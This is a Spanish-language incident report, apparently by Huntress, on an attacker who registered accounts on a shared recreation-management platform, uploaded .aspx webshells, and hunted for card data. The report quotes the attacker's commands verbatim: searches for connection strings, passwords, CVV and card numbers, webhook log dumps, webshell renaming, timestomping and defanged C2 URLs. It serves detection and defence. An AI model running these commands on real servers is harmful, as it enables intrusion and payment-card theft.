Agradecimientos: un agradecimiento especial a Olly Maxwell por sus contribuciones a esta investigación y a su redacción.
Antecedentes
El 10 de septiembre de 2026, Huntress observó a un actor de amenazas comprometer varios inquilinos en una plataforma compartida de software de gestión de recreación usando un truco repetible: registrar una cuenta de miembro, subir un archivo malicioso y convertirlo en un webshell.
Los webshells se usaron para ejecutar actividad maliciosa en tres servidores web. Al intentar identificar y extraer información confidencial, enumeraron y sondearon el inquilino de pagos/seguro y plantaron copias disfrazadas donde existían sus carpetas.
El atacante adaptó sus tácticas a lo largo de los tres compromisos. Aprendió, se volvió más silencioso, agregó medidas antiforenses y luego volvió a entrar directamente después de que un servidor fuera limpiado pero no completamente asegurado.
A continuación, contamos la historia completa del ataque en cuatro actos, describiendo la curva de aprendizaje del adversario y las diferentes técnicas usadas.
Acto 1: Ruidoso y torpe en el primer servidor
El atacante estaba decidido a entrar, y pasó alrededor de 6 horas probando una técnica de explotación no autenticada tras otra contra el servidor web, quizás con la ayuda de scripts generados por IA.
Las técnicas de acceso inicial intentadas incluyeron:
Forzar por fuerza bruta dos páginas de inicio de sesión diferentes
Enumeración de tilde IIS 8.3
Verbos de escritura WebDAV
Bypass del analizador sintáctico del manejador de carga
Navegación forzada
Los intentos iniciales de fuerza bruta contra la página de inicio de sesión de administrador, que terminaba en /management/login.aspx, y la página de inicio de sesión de miembros /info/household/login.aspx, fueron recibidos con el código de resultado HTTP 200 (intentar de nuevo) en lugar de 302 (redirigir a la página de administración o de miembros).
Sin desanimarse, el atacante intentó entonces varias técnicas de sondeo, incluyendo explotar una vulnerabilidad de tilde IIS 8.3 mediante la creación de una solicitud que contenía el carácter de tilde, como a*~1*, para enumerar archivos y directorios ocultos.
Después de que eso fallara, el atacante cambió a la manipulación de métodos HTTP, probando ocho métodos WebDAV diferentes para detectar controles de acceso inadecuados en los archivos objetivo. Todos los intentos fallaron excepto el método OPTIONS, que devolvió los métodos disponibles permitidos por el servidor web.
Otros sondeos fallidos incluyeron modificar los archivos de script dinámico Upload.ashx y FileUpload.ashx del servidor web, agregar ::$DATA a los flujos de datos alternativos de NTFS, e intentar evitar reglas simples de coincidencia de cadenas mediante el cambio de mayúsculas y minúsculas.
Acceso concedido: Reconocimiento y robo de datos de pago
Después de todos esos intentos fallidos, funcionó el método más simple: la puerta principal. Tras registrar una nueva cuenta en la plataforma, el atacante pudo subir archivos maliciosos directamente al directorio /documents/MemberFiles/.
El atacante subió 14 archivos al directorio /documents/MemberFiles/ , incluidos los formatos .aspx, .jpg y .pdf. Los archivos .jpg y .pdf se subieron como prueba de ejecución de extensiones; solo los archivos .aspx se usaron para ejecutar comandos.
/documents/MemberFiles/12345_67890_3798c7ce-aa7d-4056-8061-8f32887196b9.aspx
/documents/MemberFiles/12345_67890_37e910ed-5893-4e83-a45c-188a5e4686fd.aspx
/documents/MemberFiles/12345_67890_43823089-2ae9-4d05-ae6d-ad10ccf25ed9.aspx
/documents/MemberFiles/12345_67890_6cb1a848-ed12-4938-9661-f4034526d911.aspx
/documents/MemberFiles/12345_67890_cf151067-8362-42b6-8906-4a33eaaa4bb0.aspx
/documents/MemberFiles/12345_67890_d194a682-5ef0-4da3-b162-01844bf0109e.aspx
/documents/MemberFiles/12345_67890_14b84a7c-791a-4e96-a5ea-e5c7cfd35fd2.jpg
/documents/MemberFiles/12345_67890_1e0debea-4bfd-48d2-a5b4-8554ec7c0a34.pdf
/documents/MemberFiles/12345_67890_8ce925b7-db18-4803-89b3-44513340e2d6.pdf
/documents/MemberFiles/12345_67890_9d7c2766-ba86-4a01-a4a0-9fb4a969bc33.jpg
/documents/MemberFiles/12345_67890_9dfe12b7-b663-4ccb-8605-b02f37137f1f.pdf
/documents/MemberFiles/12345_67890_c752ff19-7679-4f81-84d0-72a0ebe58a95.jpg
/documents/MemberFiles/12345_67890_de139098-fa5f-4132-9fce-03f06e38a825.aspx
/documents/MemberFiles/12345_67890_ff0b7fd2-d568-44a2-99ef-89dc3113d2a9.aspxLas webshells .aspx ejecutaron comandos de enumeración en el servidor, lo que le dio al atacante un panorama general al reunir información del sistema, listar servidores IIS y, lo más importante, buscar datos de titulares de tarjetas.
La enumeración inicial intentó reunir el contexto de identidad y ejecución:
cmd.exe /c whoami
cmd.exe /c id
cmd.exe /c hostname
cmd.exe /c cd
cmd.exe /c echo %USERPROFILE%
cmd.exe /c dir D:\ /b
cmd.exe /c echo %APP_POOL_ID%
cmd.exe /c set
Una enumeración adicional del sistema operativo local apuntó al archivo hosts del proceso de trabajo web de IIS, que asigna manualmente los nombres de dominio directamente a su dirección IP. Enumerar las conexiones de red y la configuración es fundamental para identificar las rutas de movimiento lateral.
cmd.exe /c ipconfig
cmd.exe /c net user
cmd.exe /c systeminfo
cmd.exe /c type C:\Windows\System32\drivers\etc\hosts
cmd.exe /c netstat -ano | findstr LISTENING
cmd.exe /c wmic process where "name='w3wp.exe'" get ProcessId,CommandLine /format:list
cmd.exe /c tasklist /fi "imagename eq w3wp.exe"Luego, el atacante usó las herramientas estándar de administración de IIS y Windows appcmd.exe y powershell.exe para enumerar los sitios de IIS y mapear las configuraciones de todos los sitios alojados, directorios virtuales, enlaces de aplicaciones y grupos de aplicaciones en ejecución:
cmd.exe /c %windir%\system32\inetsrv\appcmd.exe list sites
cmd.exe /c %windir%\system32\inetsrv\appcmd.exe list vdirs
cmd.exe /c %windir%\system32\inetsrv\appcmd.exe list app
powershell -NoProfile -Command "Import-Module WebAdministration -ErrorAction SilentlyContinue; Get-Website | Format-List *; Get-WebBinding | Format-Table -AutoSize"El atacante también buscó lo siguiente:
Rutas raíz estándar de IIS (
C:\inetpub\wwwroot)Raíces web alternativas (
C:\sites,C:\www,C:\wwwroot,C:\WebSites)
Directorios de entornos multiinquilino en E:\ (Websites,IIS, Content,Applications, SSL)Directorios raíz de unidades secundarias (
D:\,E:\,F:\) para mapear el almacenamiento conectado y ubicar rutas de hospedaje de aplicaciones externas.Directorios web para archivos de configuración (
*.config) para identificar configuraciones de aplicaciones o cadenas de conexión,Archivos temporales de AppPool de IIS (
C:\inetpub\temp\appPools)Archivos de configuración relacionados con el dominio en la unidad
C:\
En un intento por recolectar credenciales sensibles y detalles de conexión a bases de datos del entorno IIS, el atacante extrajo el archivo de configuración global de IIS (applicationHost.config) para obtener configuraciones a nivel de servidor, rutas de directorios virtuales y credenciales cifradas o en texto plano almacenadas a nivel del servidor web.
También ejecutó búsquedas de cadenas específicas en archivos web.config y archivos fuente de C# (*.cs) en busca de palabras clave sensibles, incluyendo cadenas de conexión a bases de datos, contraseñas, fuentes de datos, ID de usuario, claves de API (AccountKey, TransactionKey) y claves de cifrado (machineKey, impersonate).
cmd.exe /c dir /b E:\Content\info\App_Code\*DB* E:\Content\info\App_Code\*Sql* E:\Content\info\App_Code\*Data* 2>nul
cmd.exe /c findstr /i /c:"connectionString" /c:"ConnectionString" /c:"password" /c:"Password" /c:"Data Source" E:\Content\info\web.config
cmd.exe /c findstr /i /n "connectionString Data Source Initial Catalog User ID Password" E:\Content\management\web.config
cmd.exe /c findstr /s /i /n "connectionString ConnectionString SqlConnection Data Source Initial Catalog" E:\Content\info\App_Code\*.csUsando PowerShell para procesar de forma programática los archivos web.config objetivo como XML, extrajo nombres de cadenas de conexión y credenciales sensibles de bases de datos con un formato de salida limpio. Con las credenciales SQL ya en su poder, el motivo del actor de amenazas quedó claro: obtener información sensible relacionada con datos de pago y de tarjetas.
Figura 1: Sqlcmd se usa para conectarse a la base de datos con las credenciales SQL obtenidas y buscar datos de titulares de tarjetas.
Finalmente, el actor de amenazas siguió buscando datos de titulares de tarjetas dirigiéndose a cadenas relacionadas (CVV, número de tarjeta, fechas de vencimiento) en todo el directorio de contenido:
cmd.exe /c findstr /s /i /m /c:"CVV" /c:"CardNumber" /c:"CreditCard" /c:"CCNumber" /c:"CardNum" /c:"ExpMonth" /c:"ExpYear" /c:"Expiration" E:\Content\info\*.aspx E:\Content\info\*.cs E:\Content\info\*.vb 2>nul
cmd.exe /c findstr /s /i /m /c:"CVV" /c:"CardNumber" /c:"CreditCard" /c:"CCNumber" /c:"CardNum" E:\Content\management\*.aspx E:\Content\management\*.cs E:\Content\management\*.vb 2>nul
cmd.exe /c findstr /s /i /c:"CVV" /c:"CardNumber" /c:"CreditCard" E:\Content\info\*.config 2>nulSe dirigieron a plataformas de soluciones de pago específicas con el siguiente comando:
cmd.exe /c findstr /s /i /m "AuthorizeNet Fortis CardConnect BluePay PayPal Braintree Stripe" E:\Content\info\*.*Con la mira puesta en los registros de transacciones de pago generados por una integración de webhook de Fortis, el atacante identificó y ordenó los archivos de registro de webhook sin procesar por marca de tiempo, intentó la lectura automatizada de archivos y luego volcó manualmente archivos de registro específicos para extraer detalles de tarjetas de pago, incluyendo fechas de vencimiento, CVV y números de tarjetas de crédito.
cmd.exe /c dir /o-d /b E:\Content\info\_fortis\Webhooks\*.txt
cmd /c "for /f %i in ('dir /b /o-d E:\Content\info\_fortis\Webhooks\*.txt') do @type E:\Content\info\_fortis\Webhooks\%i & @echo ----END---- & @goto :done & :done" 500 (errored)
cmd.exe /c type E:\Content\info\_fortis\Webhooks\2026_09_08_REDACTED.txt
cmd.exe /c type E:\Content\info\_fortis\Webhooks\2026_09_08_REDACTED.txt
cmd.exe /c findstr /i "exp_date exp_month exp_year expiration cvv first_six last_four card_number" E:\Content\info\_fortis\Webhooks\2026_09_08_REDACTED.txtEl user agent Mozilla/5.0+(Windows+NT;+Windows+NT+10.0;+zh-CN)+WindowsPowerShell/5.1.22621.1037 identifica la configuración regional del sistema como chino simplificado (China continental) mediante su cadena: +zh-CN. A partir de esto, podemos deducir que el actor de amenazas probablemente tiene base en China.
Acto 2: Silencioso y eficiente en el segundo servidor
Tras haber encontrado ya una forma de entrar y haber mapeado el entorno, el atacante generó mucho menos ruido al comprometer un segundo servidor web, registrando de nuevo una cuenta nueva y abusando de la función de carga de archivos para implementar webshells.
Este resultó ser un acto muy breve para el actor de amenazas, con solo algunos comandos de enumeración dirigidos al servidor y a los directorios web, intentando encontrar su propio shell cargado, principalmente el nombre del archivo tras la carga, antes de que el equipo del SOC de Huntress los eliminara.
cmd.exe /c dir /b E:\Content
cmd.exe /c dir /b E:\Websites_Other
cmd.exe /c dir /b E:\Websites\REDACTED
cmd.exe /c dir /b E:\Websites\REDACTED\http
cmd.exe /c dir /s /b E:\Websites\REDACTED\*78099729* 2>nul
powershell -NoProfile -Command "Get-ChildItem E:\Websites\REDACTED -Recurse -Filter <redacted accountID>_<redacted memberID>_*.aspx -EA 0 | Select -Expand FullName"
Figura 2: El proceso de trabajo de IIS genera cmd.exe para comandos de enumeración.
Ya familiarizado con la convención de nombres de la plataforma usada para las cargas de archivos (el ID de cuenta y el ID de miembro), el atacante recopiló los nombres completos de los archivos, muy probablemente para poder renombrar o copiar los archivos entre los directorios web. Más sobre esto en el Acto 3.
Acto 3: Deliberadamente sigiloso en el tercer servidor
Después de que Huntress bloqueara los dos primeros servidores, el actor de amenazas detectó y atacó un tercer servidor web, y con el conocimiento previo ya establecido, no perdió tiempo.
El ataque comenzó con el registro de la cuenta, como antes, seguido de las cargas de archivos, un total de cinco webshells cargados en Documents\MemberFiles.
Una vez más, se requirió reconocimiento en el nuevo servidor, y el atacante siguió el mismo patrón observado anteriormente:
cmd.exe /c whoami&hostname
dir /b E:\ dir /b E:\Websites 2>nul
dir /b E:\Content 2>nul dir /s /b E:\*secure* 2>nul
dir /s /b E:\Websites\*secure* 2>nul
findstr /s /i /m "secure.REDACTED" E:\Content\info\App_Code\*.cs 2>nul
dir /b C:\inetpub\temp\appPools 2>nul
type C:\Windows\System32\drivers\etc\hostsAl conocer ya los nombres completos de los archivos, el atacante pudo acceder a los webshells cargados previamente y copiarlos usando comandos de cmd.exe en el servidor cmd /c if not exist "<dir>" mkdir "<dir>" & copy /y "<shell>" "<target>".El atacante copió y renombró con éxito cinco webshells cargados entre los directorios de contenido y del sitio web:
E:\Content\info\includes\css_bundle.aspx
E:\Content\info\master\jquery.validate.min.aspx
E:\Content\management\includes\css_bundle.aspx
E:\Websites\REDACTED.com\http\css_bundle.aspx
E:\Websites\REDACTED.com\http\Images\webresource.aspxDisfrazar los webshells como archivos legítimos resultó no ser suficiente. Probablemente al sentir que los defensores los estaban detectando, el atacante empleó otro mecanismo de evasión de defensas: el timestomping. El atacante manipuló los metadatos en el archivo de configuración web E:\Websites\REDACTED.com\http\web.config para que los archivos del webshell heredaran la misma fecha de última modificación, último acceso y creación que los componentes legítimos del sitio web.
Figura 3: Comando de PowerShell deconstruido ejecutado para el timestomping
Con el timestomping completado, el ataque volvió a indagar en los sistemas de pago de la plataforma con comandos que buscaban carpetas de pago objetivo sin arrojar errores de archivo visibles:
dir /b "E:\Websites\secure.REDACTED.com\http\mxmerchant" 2>nul
dir /b "E:\Websites\secure.REDACTED.com\http\fortis" 2>nulUna vez confirmada la existencia de los módulos de pago mxmerchant y fortis, el atacante aprovechó la lógica condicional if exist e intentó colocar dinámicamente copias persistentes de los webshells como css_bundle.aspx dentro de los directorios. Este intento falló, ya que no se detectaron webshells dentro de los directorios de los módulos de pago.
Acto 4: De vuelta para el bis en el tercer servidor
Cuando el tercer servidor se puso de nuevo en producción de forma prematura, el actor de amenazas regresó con fuerza. Lo que destaca en este acto final no son solo las técnicas usadas, sino también la detección de lo que parecen ser scripts generados por IA.
Usando la misma cuenta que había registrado previamente, el atacante regresó al servidor comprometido con una nueva misión: un ataque a mayor escala dirigido directamente a los usuarios de la plataforma, inyectando un troyano dentro de la página de autenticación. /auth/default.aspx carga el archivo jQuery *\includes\jquery\jquery.mousewheel-3.0.6.pack.js para la inyección del payload.
El atacante aprovechó archivos de PowerShell y JavaScript subidos al directorio C:\Windows\Temp, inicialmente como archivos codificados en Base64 con la extensión .b64 añadida, antes de ser decodificados en archivos reales .ps1 y .js.
C:\Windows\Temp\plant_ccrtc_mousewheel.ps1.b64
C:\Windows\Temp\plant_ccrtc_mousewheel.ps1
C:\Windows\Temp\plant_ccrtc_fast.ps1.ps1.b64
C:\Windows\Temp\plant_ccrtc_fast.ps1.ps1
C:\Windows\Temp\ccrtc_sdk_init.js.b64
C:\Windows\Temp\ccrtc_sdk_init.jsLos dos scripts de PowerShell cumplían el mismo propósito, pero de forma distinta:
Un escáner recursivo profundo (
plant_ccrtc_mousewheel.ps1) que buscaba en todas las unidades del sistema de archivosUna variante refinada y de bajo ruido (
plant_ccrtc_fast.ps1) optimizada para realizar búsquedas superficiales estrictamente dentro de las raíces web conocidas, con el fin de reducir el uso de CPU/disco y evadir la detección de EDR.
Al ejecutar el implantador, este añadía el dropper ofuscado al activo legítimo de jQuery, utilizando una protección de idempotencia (function _0x9d66) para evitar escrituras duplicadas, y aplicaba timestomping al archivo objetivo para devolverlo a sus marcas de tiempo UTC originales y así evadir el análisis forense de la línea de tiempo.
El atacante intentó convertir cada navegador que visitaba /auth/default.aspx en un cliente C2 cifrado. Una vez cargado, el archivo jQuery troyanizado inyectó un agente de navegador secundario desde hxxps://chat.ririmochii[.]workers[.]dev/core[.]js, estableciendo canales cifrados de WebRTC y WebSocket de vuelta hacia la siguiente infraestructura de C2 controlada por el atacante, para enviar fotogramas dinámicos de eval() y recolectar credenciales en tiempo real:
hxxps://fk.bubuneeko[.]workers[.]dev/_cf/relhxxps://fk.bubuneeko[.]workers[.]dev/_cf/icewss://fk.bubuneeko[.]workers[.]dev/_cf/soc
Figura 4: La cadena de ataque cuando el atacante regresó al tercer servidor comprometido
Usando la convención de nombres de los webshells subidos, pudimos relacionar las cuentas utilizadas con la actividad iniciada en este acto final. El atacante intentó de inmediato ejecutar los archivos subidos previamente css_bundle.aspx, query.validate.min.aspx, y webresource.aspx. Tras darse cuenta de que estos archivos habían sido remediados, subió nuevos webshells con las mismas técnicas probadas que habían funcionado antes.
Los archivos .ps1 subidos buscaban query.mousewheel-3.0.6.pack.js y agregaban el payload dentro de él. También parecen haber sido generados por IA, ya que los extensos comentarios incluyen partes de las instrucciones proporcionadas, como "# Fast plant: candidate paths only, no drive recurse. Run ON web server." y "# append only - do not rewrite head/structure"
Conclusión: si al principio no tienes éxito, intenta crear tu propia cuenta
El cambio de tácticas y el esfuerzo adicional por mantenerse sigiloso a lo largo de estos cuatro actos demuestran cómo los actores de amenazas pueden ajustarse en tiempo real. Los primeros intentos durante el primer acto fueron ruidosos y torpes, y es posible que incluso se hayan iniciado mediante un script de automatización generado por IA, dado el alto volumen de intentos. El atacante finalmente logró el acceso inicial con un enfoque más manual: creando su propia cuenta en la plataforma y encontrando una falla en la función de carga.
Este ataque es un recordatorio claro de que el juego del gato y el ratón entre atacante y defensor rara vez es una historia de ejecución perfecta. Es un proceso desordenado de prueba y error, donde los traspiés del atacante, los artefactos que deja atrás y las iteraciones ruidosas terminan dándoles a los defensores las claves para desarmarlo.
Indicadores de compromiso (IOC)
Elemento | Descripción |
|---|---|
| Clave del webshell utilizada durante el primer acto |
| Clave del webshell utilizada en el segundo, tercer y cuarto actos |
| User-agent utilizado durante el ataque |
SHA256: | Archivo de script de PowerShell |
SHA256: | Archivo de script de PowerShell codificado en Base64 |
SHA256: | Archivo de script de PowerShell |
| Archivo de script de PowerShell codificado en Base64 |
| Archivo JavaScript |
SHA256: | Archivo JavaScript codificado en Base64 |
| URL del payload "core" de la segunda etapa |
| URL de señalización/retransmisión de WebRTC |
| URL para obtener credenciales ICE/TURN |
| URL de respaldo de C2 por WebSocket |
| Cadena de idempotencia |